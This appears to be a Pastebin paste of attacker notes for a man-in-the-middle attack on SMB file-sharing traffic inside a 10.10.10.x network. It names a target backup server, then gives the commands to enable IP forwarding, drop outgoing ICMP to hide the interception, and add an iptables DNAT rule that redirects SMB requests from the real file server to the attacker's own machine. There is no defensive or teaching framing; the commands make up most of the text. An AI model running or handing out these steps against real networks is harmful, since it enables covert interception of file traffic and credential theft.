Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Switch IP: 10.10.10.254
- File server: 10.10.10.20
- Backup file server (target): 10.10.10.24
- Our IP: 10.10.10.201
- enable IP forwarding :
- echo 1 > /proc/sys/net/ipv4/ip_forward
- We will be dropping all outgoing ICMP. This prevents the kernel sending port/host unreachable to our target.
- iptables -A OUTPUT -p ICMP -j DROP
- Since all packets will be going through our box, let's rewrite the destination address and port on the fly for all SMB requests destinated to 10.10.10.20:445 to our IP 10.10.10.201:445.
- iptables -t nat -A PREROUTING -p tcp --dst 10.10.10.20 --dport 445 -j DNAT --to-destination 10.10.10.201:445
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement